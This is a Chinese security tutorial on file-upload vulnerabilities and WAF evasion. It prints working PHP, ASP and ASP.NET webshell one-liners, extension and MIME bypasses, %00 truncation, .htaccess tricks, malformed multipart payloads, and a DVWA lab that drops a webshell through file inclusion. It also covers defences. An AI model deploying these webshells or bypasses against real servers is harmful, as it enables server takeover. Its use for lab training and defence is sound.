文件上传漏洞与WAF绕过
2022-9-3 00:4:47 Author: LemonSec(查看原文) 阅读量:53 收藏

概述

文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者 WebShell 等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。

文件上传漏洞本身就是一个危害巨大的漏洞,WebShell 更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下 WebShell 以方便后续进入系统。攻击者在受影响系统放置或者插入 WebShell 后,可通过该 WebShell更 轻松,更隐蔽的在服务中为所欲为。这里需要特别说明的是上传漏洞的利用经常会使用 WebShell,而 WebShell 的植入远不止文件上传这一种方式。

Webshell简述

WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些 asp 或 php 后门文件与网站服务器 web 目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。

WebShell 后门隐蔽较性高,可以轻松穿越防火墙,访问 WebShell 时不会留下系统日志,只会在网站的 web 日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者可以将 WebShell 隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对 WebShell 进行编码或者拼接以规避检测。除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测,<?php eval($_POST[a]); ?>就是一个最常见最原始的小马。

上传漏洞原理

大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意 PHP 文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。

当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的 PHP,ASP以及JSP 脚本,也可以是篡改后缀后的这几类脚本。

1. 上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接自动运行;

2. 上传文件是WebShell时,攻击者可通过这些网页后门执行命令并控制服务器;

3. 上传文件是其他恶意脚本时,攻击者可直接执行脚本进行攻击;

4. 上传文件是恶意图片时,图片中可能包含了脚本,加载或者点击这些图片时脚本会悄无声息的执行;

上传文件是伪装成正常后缀的恶意脚本时,攻击者可借助本地文件包含漏洞 (Local File Include) 执行该文件。如将 bad.php 文件改名为 bad.doc 上传到服务器,再通过 PHP 的 include,include_once,require,require_once 等函数包含执行。

此处造成恶意文件上传的原因主要有三种:

1、文件上传时检查不严

没有进行文件格式检查。

  • 一些应用仅仅在客户端进行了检查,而在专业的攻击者眼里几乎所有的客户端检查都等于没有检查,攻击者可以通过NC,Fiddler等断点上传工具轻松绕过客户端的检查;

  • 一些应用虽然在服务器端进行了黑名单检查,但是却可能忽略了大小写,如将.php改为.Php即可绕过检查;

  • 一些应用虽然在服务器端进行了白名单检查却忽略了%00截断符,如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg,其中%00为十六进制的0x00字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00字符截断的关系,最终上传的文件变成了xxx.php。

2、文件上传后修改文件名时处理不当

一些应用在服务器端进行了完整的黑名单和白名单过滤,在修改已上传文件文件名时却百密一疏,允许用户修改文件后缀。如应用只能上传.doc文件时攻击者可以先将.php文件后缀修改为.doc,成功上传后在修改文件名时将后缀改回.php。

3、使用第三方插件时引入

好多应用都引用了带有文件上传功能的第三方插件,这些插件的文件上传功能实现上可能有漏洞,攻击者可通过这些漏洞进行文件上传攻击。如著名的博客平台 WordPress 就有丰富的插件,而这些插件中每年都会被挖掘出大量的文件上传漏洞。

上传漏洞绕过

程序员在防止上传漏洞时可以分为两种:

1. 客户端检测: 客户端使用JavaScript检测,在文件未上传时,就对文件进行验证。

2. 服务器端检测: 服务端脚本一般会检测文件的MIME类型,检测文件扩展名是否合法,甚至是否嵌入恶意代码等。

"中国菜刀":仅需要一段简短的代码便可以管理网站。目前支持的服务器端脚本包括: php、ASP、ASP.NET、JSP等,并且支持HTPTPS安全连接的网站。

PHP: <?php @eval($_POST['mima']);?>ASP: <%eval request("mima")%>ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>

"图片一句话"是将一句话插入在图片里面。例如: Edjpgcom 这个软件只需要将图片拖入程序中,在填写一句话,就可以制作图片一句话木马。

解析漏洞

解析漏洞: 攻击者利用上传漏洞时,通常与web容器的解析漏洞配合在一起。常见的 web 容器有 IIS、Nginx、Apache、Tomcat 等。

IIS 6.0解析漏洞

IIS 6.0在解析文件时存在以下两个解析漏洞:

  • 当建立*.asa,*.asp格式的文件夹,其目录下的任意文件都将被IIS当作asp文件解析。例如,建立文件夹parsing.asp,在里面新建一个test.txt。其内容为 <%=NOW()%>。其内容被IIS当作asp脚本来解析。

  • 当文件为*.asp;1.jpg时。同样会以asp脚本执行。原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

IIS 6.0 默认的可执行文件除了asp还包含这三种 :

  • /test.asa

  • /test.cer

  • /test.cdx

Apache解析漏洞

(1)漏洞原理

Apache 解析文件的规则:从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断,直到碰到认识的扩展名为止。如果都不认识,会暴漏源码。

比如test.php.qwe.asd 中 “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。

(2)漏洞形式

www.xxxx.xxx.com/test.php.php123

再例如:www.xxser.com/1.php.rar(文件内容为下列代码)

<?php phpinfo();?>

上述的文件名为1.php.rar,本应弹出下载文件的提示,但却显示了phpinfo()的内容。这就是apache的解析漏洞。

(3)其余配置问题导致漏洞

1. 如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php

这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。

2. 如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg

即使扩展名是 jpg,一样能以php 方式执行。

Nginx解析漏洞

Nginx是一款高性能的Web服务器,通常作为PHP的解析容器它,曾被爆出两个解析漏洞。

http://www.xxser.com/1.jpg/1.php

此时的 1.jpg 会被当作PHP脚本来解析。此时的 1.php 是不存在的,但 1.jpg 却按照 php 脚本解析了。问题就在这个 “1.php” 中( 1.php 不是特定的,可以随意命名),这就意味着攻击者可以上传图片木马,然后在url加上/xxx.php 就可以获得网站的 Webshell。

Windows文件命名

上传不符合 Windows 文件命名规则的文件名:

test.asp.test.asp(空格)test.php:1.jpgtest.php:: $DATA

会被 Windows 系统自动去掉不符合规则符号后面的内容。

客户端检测绕过

很多程序员仅通过JavaScript拒绝非法上传,是十分低级的验证。例如下列代码对文件扩展名进行验证,如果不是白名单中的扩展名将不会提交到服务器。

<html><head><title>图片上传</title><script type="text/javascript">function checkFile() {var flag=false;                                  //是否可以上传的标志位var str=document.getElementById("file").value;   //获取文件名str=str.substring(str.lastIndexOf('.')+1);     //得到扩展名var arr=new Array('png','bmp','gif','jpg'); //允许上传的扩展名for(var i=0;i<arr.length;i++) {if(str==arr[i]) {flag=true;  //判断文件名是否合法}}if(!flag) {alert('文件不合法');}return flag;}</script></head><body> <from action="upload.php" method="post" onsubmit="checkFile" enctype="multipart/form-data"><input type="file" name="file" id="file" /><br/><input type="submit" value="提交" name="submit" /></form></body></html>    upload.php用来接收文件,在接受文件后,将文件重命名放到本目录下。<?phpif(isset($_POST["submit"])) {$name= $_FILES['file']['name'];                       //接收文件名$name=md5(data('Y-m-d h:m:s')).strrchr($name,".");    //文件名重命名操作,保留原有扩展名$size=$_FILES['files']['size'];                       //接收文件大小$tmp=$_FILES['file']['tmp_name'];                     //临时路径move_upload_file($tmp,$name);                         //移动临时文件到当前文件目录echo "文件上传成功 path:".$name;}  ?>

针对客户端验证有非常多的绕过方式:

更改前端JS代码

1、修改脚本JS,将自定义的文件类型后缀添加进去:

2 、—删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过。同样的通过审查元素,查看到form表单的内容,form的开始标签为<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">,其中的onsubmit="return checkFile()"的作用就是当点击上传按钮的时候,就会触发js验证脚本,所以将这一部分删除,就可以成功绕过检测:

Burp中间人攻击

这种方式与FireBug完全不同,它是使用Burp按照正常的流程通过JavaScript验证,然后在传输中的HTTP层做手脚。首先把木马文件扩展名改为一张正常的图片的扩展名。在上传时使用Burp拦截数据,将其中的扩展名改为php,就可以绕过客户端验证。

这里需要注意: 在HTTP协议中有请求头 Content-Length,代表实体正文长度,而修改filename意为着实体长度的改变。如: Content-Length长度为200.把文件中的 filename=“xxser.jpg” 修改为 “1.php”,实体正文少了4个字符。所以需要把 Content-Length 改为196。

【小结】任何客户端验证都是不安全的。客户端验证时防止用户输入错误,减少服务器开销,而服务器端验证才可以真正防御攻击者。

服务端检测绕过

随着开发人员安全意识的提高,用前端验证攻击行为越来越少,一般放在服务器端做验证。主要包含一下几点: 白名单、黑名单扩展名过滤,文件类型检测,文件重命名等操作。

黑名单验证绕过

黑名单过滤方式:它是一种不安全的方式,黑名单定义了一系列不安全的扩展名。

<?php$Blacklist=array('asp','php','jsp','php5','asa','aspx');   //黑名单if(isset($_POST["submit"])) {$name= $_FILES['file']['name'];                            //接收文件名$extension=substr(strrchr($name,"."),1);                   //得到扩展名$boo=false;foreach($Blacklist as $key => $values) {if($value==$extension) {$boo=true;break;}}if(!boo) {                                                 //如果没有命中,则开始上传$size=$_FILES['file']['size'];                         //接收文件大小$tmp=$_FILES['file']['tmp_name'];                      //临时路径move_upload_file($tmp,$name);                          //移动临时文件到当前文件目录echo "文件上传成功<br/> path:" .$name;} else {echo "文件不合法";}}  ?>

通过上述代码可以看到,如果上传文件为 asp、php、jsp.php5、asa、aspx,将不再保存文件。但实际效果没有那么好,攻击者可以使用很多方法绕过黑名单检测:

1. 可以从黑名单中找到Web开发人员忽略的扩展名,如: asa 和 cer 之类;

2. 在Upload.php中并没有对接受的文件扩展名进行大小写转换操作,可能存在大小写绕过漏洞,比如 aSp 和 pHp 之类;

3. 在win系统下,如果文件名是以".“或者空格结尾,系统会自动去除”.“与空格,利用这个可以绕过黑名单验证,如: 上传”asp." or "asp "的扩展名程序;

4. 试一下能被解析的文件扩展名列表:如 jsp—>jspx—>jspf、asp—>asa—>cer—>aspx、php—>php3—>php4、exe—>exee。

白名单过滤绕过

白名单的过滤方式与黑名单相反,比黑名单拥有更好的防御机制。

<?php$WhiteList=array('rar','jpg','png','bmp','gif','jpg','doc');   //白名单if(isset($_POST["submit"])) {$name= $_FILES['file']['name'];                            //接收文件名$extension=substr(strrchr($name,"."),1);                   //得到扩展名$boo=false;foreach($$WhiteList as $key => $value) {if($value==$extension) {$boo=true;}}if($boo) {$size=$_FILES['file']['size'];                            //接收文件大小$tmp=$_FILES['file']['tmp_name'];                         //临时文件大小move_upload_file($tmp,$name);                             //移动临时文件到当前文件目录echo "文件上传成功<br/> path:".$name;} else {echo "文件不合法";}}  ?>

白名单仅仅是防御上传漏洞的第一步。白名单并不能完全防御上传漏洞,就像前面说的 IIS 6.0 解析漏洞一样,可以顺利通过验证。

MIME 验证绕过

MIME (Multipurpose Internet Mail Extensions) 多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。如:gif 图片 MIME 为 image/gif,CSS 文件 MIME 类型为text/css。

MIME 的作用是使客户端软件区分不同种类的数据,例如 web 浏览器就是通过 MIME 类型来判断文件是 GIF 图片,还是可打印的 PostScript 文件。Web 服务器使用 MIME 来说明发送数据的种类,Web 客户端使用 MIME 来说明希望接收到的数据种类。

上传时,开发人员会对文件MIME类型做验证:

if($_FILES['file']['type']=="img/jpeg") {  //判断是否时JPG格式$imageTempName=$_FILES['file']['tmp_name'];$imageName=$_FILES['file']['name'];$last=substr($imageName,strrpos($imageName,"."));if(!is_dir("uploadFile")) {mkdir("uploadFile");}$imageName=md5($imageName).$last;move_upload_file($imageTempName,"./uploadFile/".$imageName); //指定上传文件到uploadFile目录echo("文件上传成功 path=/upload/$imageName");} else {echo("文件类型错误,请重新上传");exit();}

上传php文件时,并使用 Burp 拦截查看 MIME 类型,更改 Content-Type 即可通过验证。

文件头校验绕过

有的后台通过自己写正则匹配,判断文件头内容是否符合要求,这里举几个常见的文件头对应关系:

文件头过滤主要是通过验证图片的文件头的方式来判断是不是图片文件。例如GIF图片的文件头就是GIF89a。此时的绕过方法很简单:在木马内容基础上再加了一些文件信息,如此结构GIF89a<?php phpinfo(); ?>。

目录验证的绕过

在文件上传时,程序允许用户将文件放到指定的目录中,而有些开发人员通常会做一个操作,如果目录存在,就将目录写入,不存在则先建立目录,再写入。

<form action="upload.php" method="post" enctype="multipart/form-data"><input type="file" name="file" /><br/><input type="hidden" name="Extension" value="up" /><input type="submit" value="提交" name="submit" /></form> PHP Code:if($_FILES['file']['type']=="image/jpeg") {$imageTempName=$_FILES['file']['tmp_name'];$imageName=$_FILES['file']['name'];$last=substr($imageName,strrpos($imageName,".")); //获取扩展名if($last!=".jpg") {exit("图片类型错误");}$Extension=$_POST['Extension'];                  //获取文件上传目录if(!is_dir($Extension)) {                        //如果文件不存在,就建立mkdir($Extension)}$imageName=md5($imageName).$last;move_upload_file($imageTempName,"./$Extension/".$imageName);echo("文件上传成功 path=/$Extension/$imageName");} else("文件类型错误,请重新上传");exit();}在Upload.php中有一下代码if(!is_dir($Extension)) {mkdir($Extension);}

这段代码是引发漏洞的关键点,因为HTML中有一个隐藏标签<input type="hidden" name="Extension" value="up" />这是文件上传默认的文件夹,而我们可以更改此参数: 使用FireBug将Value值改为 pentest.asp,并提交上传一句话图片木马文件。程序在接受文件后,对目录判断,如果服务器不存在 pentest.asp 目录,如果Web容器为 IIS 6.0,那么网页木马被解析。

%00截断上传绕过

截断上传攻击在ASP程序中最常见,下列是一段简单的ASP代码:

<%username=request("username")Response.wrtie(username)%>

这两句代码非常简单,接收 username 值,输出。访问 url:http://www.xxser.com:801/test.asp?username=xxser%00admin 结果只输出"xxser",因为%00将后面的字符都截断了。

Content-Disposition: form-data; name="file"; filename="123.php%00"Content-Type: image/jpeg
<?php @eval($_POST[1])?>-----------------------------127619278770

截断上传攻击原理:

1. 绕过文件上传检查功能一般都是通过文件名后缀检查。但是在某些时候,攻击者手动修改了上传过程中的POST包,在文件名后添加一个%00字节额,则可以截断某些函数对文件名的判断。

2. 因为在许多语言的函数中,比如在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符。受此影响的环境有Web应用和一些服务器。比如应用原本只允许上传 JPG 图片,那么可以构造文件名为xxx.php[\0].JPG,其中[\0]为十六进制的0x00字符,.JPG绕过了应用的上传文件类型判断;但对于服务器来说,此文件因为0x00字符截断的关系,最终却变成了xxx.php。

htaccess上传漏洞

.htaccess文件( 全称 “分布式配置文件” ),英文全称 Hypertext Access (超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

Apache 服务器配置文件 httpd.conf 默认配置。:

<Directory />    Options FollowSymLinks      AllowOverride None</Directory>......LoadModule rewrite_module modules/mod_rewrite.so#rewrite模块为开启状态

.htaccess文件作为局部变量作用文件成功作用的两个条件

1. Allow Override All;

2. LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态。

【漏洞原理】

当 rewrite 模块开启,配置文件httpd.conf如下时,apache 服务器会将所有.jpg为后缀的文件作为 php 文件解析。

<Directory />    Options FollowSymLinks    AllowOverride All    AddType application/x-httpd-php .jpg#将.jpg后缀的文件作为PHP文件解析</Directory># AddType allows you to add to or override the MIME configuration# file mime.types for specific file types.##AddType application/x-tar .tgz

当上传.htaccess文件到 upload 目录时,upload 目录下的文件会按其配置生效解析。

httpd.conf文件配置:

<Directory />    Options FollowSymLinks    AllowOverride All</Directory>

.htaccess文件内容:

AddType application/x-httpd-php .jpg

【实例演示】

upload-labs 04(上传.htaccess)

1、首先查看源码:

该代码对常见的多种类型文件后缀名进行了限制上传,但是仔细可以发现,并没有对htaccess文件进行限制。于是,我们可以先上传一个htaccess文件,再上传一个图片马,进行绕过检测上传。

2、开启htaccess,打开 apache 的 httpd.conf 设置文件,查找到的AllowOverride None,将其改为AllowOverride All,如图所示:

3、配置改完就可以使用 htaccess 了,接下来我们新建一个.htaccess文件并上传:

4、接着再上传一张图片马:

5、上传完成后,我们查看是否可以运行图片马:

【小结】.htaccess上传漏洞形成条件

  • apache服务器

  • 能够上传.htaccess文件,一般为黑名单限制。

  • AllowOverride All,默认配置为关闭None。

  • LoadModule rewrite_module modules/mod_rewrite.so #模块为开启状态

上传目录具有可执行权限。

条件竞争漏洞绕过

这是 upload-libs 上面的一个题,题目代码如下:

<?php
$is_upload = false;$msg = null;
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1);    $upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; }}?>

这里是先通过move_uploaded_file函数将上传文件临时保存,再对文件类型进行判断,如果不在名单白里则删除,在白名单里的话就进行重命名,所以这里存在条件竞争。

我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的php文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个shell。

我们可以使用如下方式进行绕过:用Burp开启两个intruder模块,一个用于重复上传木马文件,另一个用于重复访问木马文件。

1、首先上传1.php文件,抓包,放到intruder模块中:

2、然后访问我们上传文件后的路径,抓包,也放到intruder模块中:

3、设置这两个intruder的payloads,Payload type设置为Null payloads,然后设置访问次数(我这里设置的50000):

4、最后同时重放两个intruder模块,可以看到访问了50000次,最后只有4次成功了。其他的访问次数里,有小部分是状态码返回200但执行出错,大部分是返回404:

WAF绕过技巧

除了服务端需要绕过校验外,目标系统还可能部署了 WAF,这时候想要成功木马文件则还需要绕过 WAF 的检测机制。

HPP双文件上传

在HPP中最典型的的例子就是 “双文件上传” 。

如下例子,可以看到 filename 参数写了两次,可能绕过一些上传限制:

或者直接多个 Content-Disposition,同时上传一个正常图片文件+一个木马文件尝试绕过:

------61234564788Content-Disposition: form-data; name="FileName"; filename=“1.png”
图片内容 ------61234564788Content-Disposition: form-data; name="FileName1"; filename=“1.php”
木马内容------61234564788--

垃圾字符的填充

如图,可以在上传的文件名添加大量垃圾字符,可能导致绕过WAF:

畸形数据包绕过

1、filename 增加换行符:

Content-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/jpeg

<?php @eval($_POST[1])?>-----------------------------127619278770

2、filename 添加多个等号(不止2,3个)

Content-Disposition: form-data; name="file"; filename=="2.php"Content-Type: image/jpeg
<?php @eval($_POST[1])?>-----------------------------127619278770

3、文件名加;号

Content-Disposition: form-data; name="file"; filename="3;.php"Content-Type: image/jpeg
<?php phpinfo()?>

4、文件名加'号

Content-Disposition: form-data; name="file"; filename="4'.php"Content-Type: image/jpeg
<?php phpinfo()?>

5、替换大小写来进行绕过

Content-Disposition: form-data; name=“file”; filename=“123.php”Content-Type: application/octet-stream

将Content-Disposition 修改为 content-Disposition

将 form-data 修改为 Form-data

将 Content-Type 修改为 content-Type

6、增删空格来进行绕过

Content-Disposition: form-data; name=“file”; filename=“yjh.php”Content-Type: application/octet-stream

将 Content-Disposition: form-data 冒号后面增加或减少一个空格;

将 form-data; name=“file”; 分号后面增加或减少一个空格;

将 Content-Type: application/octet-stream 冒号后面增加一个空格

漏洞检测与防御

上传漏洞检测

1、检测条件:

  • 已知Web网站在登录前或者登录后具有上传页面。

  • 上传的文件具备可执行性或能够影响服务器行为,所以文件所在的目录必须在WEB容器覆盖的路径之内。

  • 用户可以从WEB上访问这个文件,从而使得WEB容器解释执行该文件。

  • 上传后的文件必须经过安全检查,不会被格式化、压缩等处理改变其内容。

2、总体的测试流程:

  • 登陆网站,并打开文件上传页面。

  • 点击“浏览”按钮,并选择本地的一个JSP文件(比如 hacker.jsp),确认上传。

  • 如果客户端脚本限制了上传文件的类型(比如允许gif文件),则把 hacker.jsp 更名为 hacker.gif;配置 HTTP Proxy(burp) 进行 http 请求拦截;重新点击“浏览”按钮,并选择 hacker.gift,确认上传。

  • 在WebScarab拦截的HTTP请求数据中,将 hacker.gif 修改为 hacker.jsp,再发送请求数据。

  • 登陆后台服务器,用命令find / -name hacker.jsp查看 hacker.jsp 文件存放的路径。如果可以直接以Web方式访问,则构造访问的URL,并通过浏览器访问 hacker.jsp,如果可以正常访问,则已经取得WebShell,测试结束。如果 hacker.jsp 无法通过 web 方式访问,例如 hacker.jsp 存放在 /home/tmp/ 目录下,而 /home/tomcat/webapps 目录对应http://www.example.com/,则进行下一步。

  • 重复1~3,在burp拦截的HTTP请求数据中,将hacker.gif修改为../tomcat/webapps/hacker.jsp,再发送请求数据。在浏览器地址栏输入http://www.example.com/hacker.jsp,访问该后门程序,取得WebShell,结束检测。

上传漏洞防御

上传漏洞攻击形成的几个条件:

1. 上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径。

2. 用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法得到Web容器解释这个脚本,那么也不能称之为漏洞。

用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。

所以上传漏洞最终的形成原因有以下两点:

1. 目录过滤不严,攻击者可以建立畸形目录;

2. 文件未重命名,攻击者可能利用Web容器解析漏洞;

如果把握这两点风险就会大大降低。

<?phpif(!isset($_POST['submit'])) {exit();}$arr=Array('jpg','gif','jpeg','png','rar','zip','doc','docx');    //白名单$imageTempName=$_FILES['file']['tmp_name'];                       //接收临时文件路径$imageName=$_FILES['file']['name'];                               //接收文件名称$last=strtolower(substr($imageName,strrpos($imageName,".")+1));   //取得扩展名,转换为小写if(!in_array($last,$arr)) {exit("不支持上传的扩展名.$last");}$Extension=$_POST['Extension'];                                   //获得文件上传目录$imageName=md5($imageName).".".$last;                             //对文件重命名move_upload_file($imageTempName,"./$Extension/".$imageName);echo("文件上传成功 path=/$Extension/$imageName");?>

上述代码基本可以解决上传漏洞,但不能完全防御。比如Web容器为Apache,并不能识别RAR格式,那么就可以上传"正常文件",配合Apache解析漏洞入侵。

防范文件上传漏洞常见的几种方法

1. 文件上传的目录设置为不可执行

最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的’x’权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性。

判断文件类型

2.  在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

3.  使用随机数改写文件名和文件路径

文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

4.  单独设置文件服务器的域名

由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。

DVWA

文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器。简单点说,就是用户直接或者通过各种绕过方式将Webshell上传到服务器中进而执行利用。

本次实验我们将利用文件上传漏洞,上传一句话木马,然后使用中国菜刀工具,控制整个网站后台!

【实验准备】首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):

<?php @eval($_POST['pass']);?>

接下来进入DVWA平台:http://127.0.0.1:8088/DVWA/index.php ,准备开始实验。

Low

查看后台源码:

 <?php if( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } }?>

从源码中发现,low级别未对上传的文件进行任何验证。所以可以直接上传PHP或者ASP一句话木马,此例采用php。

(1)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:

(2)接着就可以用菜刀连接了,菜刀界面右键,然后点击添加。然后填写相关的数据,如下图:

“中国菜刀”页面操作说明:

1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;

2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");

3、是一句话的解析类型,可以是asp,php,aspx。不同的解析类型的一句话内容不一样,文件后缀名不一样。

(3)然后可以看连接成功的界面:

(4)接着双击或者右键“文件管理”,进入以下界面:

我们看到了整个网站的结构和文件,甚至是暴漏了我整个电脑主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……

Medium

同样,先看看后台源码:

 <?php  if( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

// Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {

// Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }?>

从源码中可以看出,该安全级别下的系统,上传文件时,对文件进行了后缀名验证,在if语句中判断上传文件的类型是否为“image/jpeg”和大小是否小于100kb。

但是验证的程序由本地的js来进行,所以破解思路为先将一句话木马改名为符合要求的格式,然后使用Burp Suite 进行抓包,修改上传的文件类型。

接下来咱们开始上传Hack.PNG文件,并使用BurpSuite抓包并修改文件后缀:

可以发现,已经将非法文件Hack.php成功上传!!!

然后使用菜刀连接并进行攻击,和之前的连接方法一样,不赘述了。

这个例子告诉我们:客户端的验证不能依靠!!!我们成功使用BurpSuite绕过了客户端前端的文件格式验证。所以为了预防文件上传漏洞,需要在服务器进行文件格式的验证。

High

继续先查看源码:

 <?php if( isset( $_POST[ 'Upload' ] ) ) {    // Where are we going to be writing to?    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];

// Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

// Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } }?>

我们需要将上传文件的文件头伪装成图片,首先利用copy命令将一句话木马文件Hack.php与正常的图片文件ClearSky.jpg合并:

【备注】以下为CMD下用copy命令制作“图片木马”的步骤,其中,ClearSky.jpg/b中“b”表示“二进制文件”,hack.php/a中“a"表示ASCII码文件。

生成带有木马的图片文件hack.jpg:


接着我们打开生成的图片木马文件,我们可以看到一句话木马已附在图片文件末尾:

然后我们试着将生成的木马图片文件hack.jpg上传,上传成功!!!

访问图片木马:

接下来,上菜刀!!!!!!!!!!!

但是由于是图片木马,PHP脚本并无法被解析,菜刀连接木马失败:

既然图片木马也无法解析,那该怎么办?High级别的程序只允许上传图片啊……别慌,此处结合DVWA靶场自带的文件包含漏洞即可成功上传PHP木马并上菜刀连接了,下面进行攻击演示。

首先通过上述方法制造新的图片木马,图片文件后面的PHP脚本更改为:

<?php fputs(fopen('muma.php','w'),'<?php @eval($_POST[hack]);?>'); ?>

然后制作新的图片木马,如下图所示:

接着上传到DVWA,然后借助文件包含漏洞模块访问该木马文件:

访问的地址如下:http://10.27.25.118:8088/DVWA/vulnerabilities/fi/?page=file:///C:\SoftWare\PhpStudy2016\WWW\DVWA\hackable\uploads\hacker.jpg,如下图所示:

